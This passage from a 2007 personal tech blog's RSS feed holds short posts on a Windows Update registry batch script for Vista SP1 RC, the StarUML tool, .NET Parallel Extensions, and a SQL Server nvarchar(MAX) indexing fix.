        &lt;figcaption&gt;Ink Generated with Ink Blog Plugin - http://www.edholloway.com&lt;/figcaption&gt;
    &lt;/figure&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5145&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>What is Google trying to tell me?</title>
      <link>/post/2007/12/what-is-google-trying-to-tell-me/</link>
      <pubDate>Fri, 21 Dec 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/12/what-is-google-trying-to-tell-me/</guid>
      <description>&lt;p&gt;I was signing up for Google apps just to see what the fuss is all about and could not think of a domain and thought to give geek.com a try. Of course I knew it is not available, but I am quite offended by what Google thinks of Geeks - especially the whole damn company was formed and staffed by geeks.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/image_thumb.png&#34; alt=&#34;image&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Wii Whiteboard Marker a.k.a Surface</title>
      <link>/post/2007/12/wii-whiteboard-marker-a-k-a-surface/</link>
      <pubDate>Wed, 12 Dec 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/12/wii-whiteboard-marker-a-k-a-surface/</guid>
      <description>&lt;p&gt;I got this via the Ava communities - &lt;a
	
		href = &#34;http://www.cs.cmu.edu/~johnny/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		John Lee
	&lt;/span&gt;
&lt;/a&gt; created a Wii Whiteboard Marker - very cool. Now the only thing to figure out how the heck to get a projector. 😄&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Getting Vista SP1 via Windows Update</title>
      <link>/post/2007/12/getting-vista-sp1-via-windows-update/</link>
      <pubDate>Tue, 11 Dec 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/12/getting-vista-sp1-via-windows-update/</guid>
      <description>&lt;p&gt;If you want to get Windows Vista using Windows Update then copy the following in a bat (or cmd) file and run it in an admin console (if you have UAC switched on); then run Windows Update. Also the SP1 is a Release Candidate and not the &amp;ldquo;final&amp;rdquo; version so use at your own risk!&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;div style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;
&lt;table style=&#34;border-spacing:0;padding:0;margin:0;border:0;&#34;&gt;&lt;tr&gt;&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;1&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#1&#34;&gt; 1&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;2&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#2&#34;&gt; 2&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;3&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#3&#34;&gt; 3&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;4&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#4&#34;&gt; 4&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;5&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#5&#34;&gt; 5&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;6&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#6&#34;&gt; 6&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;7&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#7&#34;&gt; 7&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;8&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#8&#34;&gt; 8&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;9&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#9&#34;&gt; 9&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;10&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#10&#34;&gt;10&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;11&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#11&#34;&gt;11&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;12&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#12&#34;&gt;12&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;13&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#13&#34;&gt;13&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;14&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#14&#34;&gt;14&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;15&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#15&#34;&gt;15&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;16&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#16&#34;&gt;16&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;17&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#17&#34;&gt;17&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;18&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#18&#34;&gt;18&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;19&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#19&#34;&gt;19&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;20&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#20&#34;&gt;20&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;21&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#21&#34;&gt;21&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;22&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#22&#34;&gt;22&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;23&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#23&#34;&gt;23&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;24&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#24&#34;&gt;24&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;25&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#25&#34;&gt;25&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;26&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#26&#34;&gt;26&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;27&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#27&#34;&gt;27&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;28&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#28&#34;&gt;28&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;29&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#29&#34;&gt;29&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-batch&#34; data-lang=&#34;batch&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt; off
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reg delete HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\VistaSp1 /f &amp;gt; NUL &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&amp;gt;&amp;amp;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reg delete HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\VistaSP1 /f &amp;gt; NUL &lt;span style=&#34;color:#f5a97f&#34;&gt;2&lt;/span&gt;&amp;gt;&amp;amp;&lt;span style=&#34;color:#f5a97f&#34;&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reg add HKEY\_LOCAL\_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\WindowsUpdate\\VistaSp1 /v Beta1 /t REG\_SZ /d da2ba4db-dedb-437e-8e7e-104643454bb6 /f  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;IF&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;NOT&lt;/span&gt; &lt;span style=&#34;color:#f4dbd6&#34;&gt;%errorlevel%&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; 0 ( &lt;span style=&#34;color:#c6a0f6&#34;&gt;goto&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;ERROR&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;:&lt;span style=&#34;color:#91d7e3&#34;&gt;SUCCESS&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;  &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt; ===========================================================  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;  Windows Vista SP1 registry key has been set successfully.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;  Please check for updates in Windows Update.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt; ===========================================================  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;goto&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;END&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;:&lt;span style=&#34;color:#91d7e3&#34;&gt;ERROR&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;  &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt; ===========================================================  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;  FAILED to set Windows Vista SP1 registry keys.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;  Please run this script by right clicking and selecting  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;  &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Run as Administrator&amp;#34;&lt;/span&gt;.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt; ===========================================================  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@&lt;span style=&#34;color:#c6a0f6&#34;&gt;echo&lt;/span&gt;.  
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;goto&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;END&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;:&lt;span style=&#34;color:#91d7e3&#34;&gt;END&lt;/span&gt;&lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;  &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pause&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;
</description>
    </item>
    
    <item>
      <title>Good UML Tool (and free too)</title>
      <link>/post/2007/12/good-uml-tool-and-free-too/</link>
      <pubDate>Mon, 03 Dec 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/12/good-uml-tool-and-free-too/</guid>
      <description>&lt;p&gt;Love it or hate it UML is important for anyone involved (Architect/Developer/Whoever) - either you need to create designs based on UML and you need to understand that someone else has. Sure it has its challenges and for some specific things there are better solutions (DSL&amp;rsquo;s - more on that some other day). I am &amp;ldquo;old school&amp;rdquo; and over the years have used &lt;a
	
		href = &#34;http://www-306.ibm.com/software/awdtools/developer/rose/index.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Rational Rose
	&lt;/span&gt;
&lt;/a&gt; (or whatever IBM has renamed it to since buying Rational out).&lt;/p&gt;
&lt;p&gt;But as are aware Rational tools are very pricey and I was on the look out for something reasonable. Most people have heard of &lt;a
	
		href = &#34;http://www.sparxsystems.com.au/products/ea.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EA
	&lt;/span&gt;
&lt;/a&gt; (no, not the game company) which is a decent tool and not too expensive (at least the Desktop edition).&lt;/p&gt;
&lt;p&gt;Of course if you are stingy like me and want something completely free then check out &lt;a
	
		href = &#34;http://www.staruml.com/&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		StarUML
	&lt;/span&gt;
&lt;/a&gt; which is an open source UML/MDA platform and is pretty decent. When you work with it enough you will find some annoying things - most of which has workarounds. There are one or two things it just cannot do, but I only have been using it for a few months now and am quite impressed. Is it better than the likes of &lt;a
	
		href = &#34;http://www.sparxsystems.com.au/products/ea.html&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		EA
	&lt;/span&gt;
&lt;/a&gt; or Rose, nope but it is pretty damn good for the price.&lt;/p&gt;
&lt;!-- [![image](images/image_thumb.png)](http://www.bahree.com/amit/blog_images/GoodUMLTool_D0E7/image.png) --&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/staruml-screenshot.jpg&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Parallel Computing with .NET</title>
      <link>/post/2007/12/parallel-computing-with-net/</link>
      <pubDate>Sun, 02 Dec 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/12/parallel-computing-with-net/</guid>
      <description>&lt;p&gt;With all the modern systems using multi-core and multi-processor systems, tapping this new power is an interesting challenge for developers. It also fundamentally starts the shift on how your &amp;ldquo;average Joe&amp;rdquo; interacts with a computer and things that he/she expects to be able to. First, check out the &amp;ldquo;&lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyId=633F9F08-AAD9-46C4-8CAE-B204472838E1&amp;amp;displaylang=en&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Manycore Shift
	&lt;/span&gt;
&lt;/a&gt;&amp;rdquo; paper from Microsoft. Second checkout the &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/concurrency/bb896619.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Parallel Extensions to .NET 3.5
	&lt;/span&gt;
&lt;/a&gt; which is a programing model for data and task parallelism. It also helps with coordination on parallel hardware (such as multi-core CPU&amp;rsquo;s) via a common work schedules. There is also a new &lt;a
	
		href = &#34;http://msdn2.microsoft.com/en-us/concurrency/default.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Parallel Computing Dev Center
	&lt;/span&gt;
&lt;/a&gt; on MSDN. Before you &lt;a
	
		href = &#34;http://www.microsoft.com/downloads/details.aspx?FamilyID=e848dc1d-5be3-4941-8705-024bc7f180ba&amp;amp;displaylang=en#filelist&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		download
	&lt;/span&gt;
&lt;/a&gt; the December 2007 CTP, make sure you have the RTM bits of the .NET 3.5 runtime. There are also a &lt;a
	
		href = &#34;http://blogs.msdn.com/pfxteam/archive/2007/11/29/6558570.aspx&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		number of bugs fixed
	&lt;/span&gt;
&lt;/a&gt; in this new CTP. If you want a quick introduction then check out a few &lt;a
	
		href = &#34;http://channel9.msdn.com/Showforum.aspx?forumid=38&amp;amp;tagid=269&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		videos available
	&lt;/span&gt;
&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The runtime for this is responsible for mapping parallelism expressed in an application to the actual capabilities of the underlying hardware of multi-core or multi-processor machines. The runtime determines at runtime the number of threads to create. It also monitors this to tweak this and see if any more or fewer threads are needed. The runtime also scales up as more cores become available without any change to your application.&lt;/p&gt;
&lt;p&gt;Microsoft also says &amp;ldquo;Because Parallel Extensions exploits multiple processors, we recommended that you install this directly onto an OS. Using virtualization technologies is not recommended due to restrictions on the maximum number of processors supported by today’s common virtualization technologies.&amp;rdquo; [sic]&lt;/p&gt;
&lt;p&gt;There are several approaches you can use to expresses parallelism. Here is a brief from the documentation on these:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Declarative Data - Parallel Language Integrated Query (or Parallel LINQ) is an implementation of LINQ-to-Objects that executes queries in parallel, scaling to utilize the available cores and processors of the machine. Because queries are declarative, you are able to express what you want to accomplish, rather than how you want to accomplish it.&lt;/li&gt;
&lt;li&gt;Imperative Data - Parallel Extensions also contains mechanisms to express common imperative data-oriented operations such as for and foreach loops, automatically dividing the work in the loop to run on parallel hardware.&lt;/li&gt;
&lt;li&gt;Imperative Task - Rather than using data to drive parallelism, Parallel Extensions enables you to express potential parallelism via expressions and statements that take the form of lightweight tasks. Parallel Extensions schedules these tasks to run on parallel hardware and provides capabilities to cancel and wait on tasks.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now, I just need to take out the time to play with this; does anyone know how I can rar up some hours in a day and squeeze in a bit more?&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Network Speed @ Oxford</title>
      <link>/post/2007/11/network-speed-oxford/</link>
      <pubDate>Tue, 20 Nov 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/11/network-speed-oxford/</guid>
      <description>&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;images/204143492.png&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>SQL Performance and navchar(MAX)</title>
      <link>/post/2007/11/sql-performance-and-navcharmax/</link>
      <pubDate>Wed, 07 Nov 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/11/sql-performance-and-navcharmax/</guid>
      <description>&lt;p&gt;At work we had an issue where our sql performance (SQL Server 2005) was very slow - much slower than we needed and everything looked OK but in the production environment (to which we don&amp;rsquo;t have access - rightfully) things were not ticking as they should be. We had a requirement to be able to process ~200K / hour and we were barely managing ~ 44K / &lt;strong&gt;day&lt;/strong&gt;! Ouch!&lt;/p&gt;
&lt;p&gt;As it turns out, the solution in the end after a lot of digging and flapping around was changing the type of one of the columns which was defined as a nvarchar(MAX) to a nvarchar(400). The data we were storing in this column can easily fit within 400 characters and we don&amp;rsquo;t need the MAX. The reason this helped is because a MAX is not indexable. The database was flagging this as warning but this was missed. Changing this increased our perf. from the measly 44K records being processed in 24 hours to processing 410.0K records in &lt;strong&gt;16 minutes&lt;/strong&gt;! Sweet!&lt;/p&gt;
&lt;p&gt;So the lesson is, if you got a MAX column it cannot be indexable.&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5133&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>The Most Evil Pumpkin in Linuxland</title>
      <link>/post/2007/11/the-most-evil-pumpkin-in-linuxland/</link>
      <pubDate>Sat, 03 Nov 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/11/the-most-evil-pumpkin-in-linuxland/</guid>
      <description>&lt;p&gt;Fellow Avanut, &lt;a
	
		href = &#34;http://blog.360.yahoo.com/blog-6yG71SYzerQ1vY.Mi3N7PhJLb_U-?cq=1&amp;amp;p=51&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Barry
	&lt;/span&gt;
&lt;/a&gt;, created the most evil pumpkin in Linuxland. &lt;p&gt;

    &lt;img src=&#34;images/emotion-2.gif&#34; alt=&#34;Big Smile&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
&lt;p&gt;&lt;a
	
		href = &#34;http://www.bahree.com/amit/blog_images/TheMostEvilPumpkininLinuxland_CA0F/clip_image001.jpg&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;p&gt;

    &lt;img src=&#34;images/clip_image001_thumb.jpg&#34; alt=&#34;clip_image001&#34;/&gt;

&lt;/p&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;p&gt;

    &lt;img src=&#34;http://desigeek.com/weblog/aggbug.aspx?PostID=5131&#34; alt=&#34;&#34;/&gt;

&lt;/p&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Rotten Neighbors</title>
      <link>/post/2007/10/rotten-neighbors/</link>
      <pubDate>Wed, 31 Oct 2007 00:00:00 +0000</pubDate>
      
      <guid>/post/2007/10/rotten-neighbors/</guid>
      <description>&lt;p&gt;I think we need something like &lt;a
	
